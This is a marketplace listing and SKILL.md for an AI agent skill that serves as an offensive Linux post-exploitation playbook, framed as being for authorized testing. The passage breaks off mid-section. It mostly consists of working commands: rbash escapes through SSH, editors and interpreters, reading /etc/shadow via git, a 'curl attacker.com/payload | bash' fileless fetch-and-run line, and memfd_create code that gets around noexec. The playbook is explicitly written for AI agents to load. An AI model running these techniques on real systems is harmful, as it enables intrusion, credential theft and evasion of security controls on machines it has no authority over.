Linux Security Bypass
Follow an expert Linux post-exploitation playbook to understand and test bypasses for rbash, noexec, AppArmor, SELinux, seccomp, and audit evasion in authorized assessments.
Overview
Linux-security-bypass is an agent skill for the Ship phase that documents expert techniques for evading Linux restrictions during authorized post-exploitation and security testing.
Install
npx skills add https://github.com/yaklang/hack-skills --skill linux-security-bypassWhat is this skill?
- Playbook for restricted bash escape, noexec filesystem workarounds, and AppArmor/SELinux evasion
- Seccomp filter circumvention and audit-log evasion techniques for lab and authorized pentest contexts
- Calls out techniques base models often miss (e.g., DDexec, memfd_create fileless execution)
- Routes to related skills: privilege escalation, container escape, lateral movement, command injection
- Structured expert attack narrative for Linux mechanism bypass during post-exploitation
Adoption & trust: 1k installs on skills.sh; 980 GitHub stars; 0/3 security scanners passed (skills.sh audits).
What problem does it solve?
Hardened Linux blocks your shell, execution, or logging during an authorized test and generic chat advice misses real bypass chains for rbash, MAC, seccomp, and noexec.
Who is it for?
Security practitioners, CTF players, and indie operators documenting authorized bypass tests against their own lab VMs or containers.
Skip if: Solo builders who only need routine dependency scanning or secure coding checklists for a SaaS launch without offensive lab work.
When should I use this skill?
Facing restricted bash/rbash, read-only or noexec filesystems, AppArmor, SELinux, seccomp filters, or audit logging that must be evaded during post-exploitation in authorized contexts.
What do I get? / Deliverables
You get a routed, step-oriented bypass playbook and pointers to escalation, container escape, or lateral movement skills for the next phase of the engagement.
- Documented bypass attempt chain for the encountered control
- Cross-links to escalation or container-escape follow-on skills
- Notes on detection and logging implications for defenders
Recommended Skills
Journey fit
How it compares
Offensive Linux mechanism playbook—not a Ship-phase dependency audit or SOC2 checklist generator.
Common Questions / FAQ
Who is linux-security-bypass for?
Advanced users doing authorized penetration testing, defensive purple-team labs, or security research who need Linux restriction bypass procedures.
When should I use linux-security-bypass?
During Ship/security when reproducing post-exploitation constraints in a lab, writing detection tests, or scoping hardening gaps on images you control.
Is linux-security-bypass safe to install?
It describes sensitive attack techniques; review the Security Audits panel on this Prism page and use only on systems you are explicitly authorized to test.
SKILL.md
READMESKILL.md - Linux Security Bypass
# SKILL: Linux Security Bypass — Expert Attack Playbook > **AI LOAD INSTRUCTION**: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass. ## 0. RELATED ROUTING Before going deep, consider loading: - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once you've broken out of restrictions and need to escalate - [container-escape-techniques](../container-escape-techniques/SKILL.md) when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default) - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after bypassing restrictions for pivoting - [cmdi-command-injection](../cmdi-command-injection/SKILL.md) when the restriction is on command execution from a web application context --- ## 1. RESTRICTED BASH (rbash) BYPASS ### 1.1 SSH-Based Bypass ```bash # Force a different shell via SSH ssh user@host -t "bash --noprofile --norc" ssh user@host -t "/bin/sh" ssh user@host -t "bash -l" # If ForceCommand is set in sshd_config, these may not work # Try SFTP/SCP instead — often not restricted: sftp user@host # SFTP shell can sometimes execute commands ``` ### 1.2 Editor-Based Escape ```bash # vi/vim escape vi :set shell=/bin/bash :shell # Or: :!/bin/bash # ed escape ed !/bin/bash # nano (if available) # Ctrl+R → Ctrl+X → command execution ``` ### 1.3 Language Interpreter Escape | Interpreter | Command | |---|---| | Python | `python3 -c 'import pty; pty.spawn("/bin/bash")'` | | Perl | `perl -e 'exec "/bin/bash";'` | | Ruby | `ruby -e 'exec "/bin/bash"'` | | Lua | `lua -e 'os.execute("/bin/bash")'` | | PHP | `php -r 'system("/bin/bash");'` | | Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` | | AWK | `awk 'BEGIN {system("/bin/bash")}'` | ### 1.4 Environment Variable Tricks ```bash # Overwrite shell via BASH_CMDS BASH_CMDS[x]=/bin/bash x # Use env to spawn unrestricted shell env /bin/bash env -i /bin/bash # PATH manipulation (if export is allowed) export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin /bin/bash # If only specific commands are allowed: # Use allowed command to read files git log --oneline --all -p # git can read arbitrary files git diff /dev/null /etc/shadow ``` ### 1.5 Other Escapes | Method | Command | |---|---| | `expect` | `expect -c 'spawn /bin/bash; interact'` | | `script` | `script -qc /bin/bash /dev/null` | | `rlwrap` | `rlwrap /bin/bash` | | `nmap` (old) | `nmap --interactive` → `!bash` | --- ## 2. READ-ONLY / NOEXEC FILESYSTEM EXECUTION ### 2.1 DDexec — Execute From stdin via /proc/self/mem ```bash # DDexec overwrites the running process memory with a new binary # No file written to disk — completely fileless # Usage: pipe any ELF binary through DDexec curl -sL https://attacker.com/payload | bash ddexec.sh # How it works: # 1. Opens /proc/self/mem for writing # 2. Seeks to the text segment of the current process # 3. Overwrites it with the target ELF binary # 4. Jumps to the new entry point ``` ### 2.2 memfd_create — In-Memory File Descriptor ```python import ctypes, os libc = ctypes.CDLL("libc.so.6") fd = libc.syscall(319, b"", 0) # SYS_MEMFD_CREATE (x86_64) with open(f"/proc/self/fd/{fd}", "wb") as f: f.write(open("/path/to/binary", "rb").read()) os.execve(f"/proc/self/fd/{fd}", ["binary"], os.environ) # Bypasses noexec ``` ```bash # Perl variant: syscall(319, "", 0) → write to fd → exec /proc/$$/fd/$fd ``` ### 2.3 ld.so Direct Execution ```bash # Use the dynamic linker to execute from a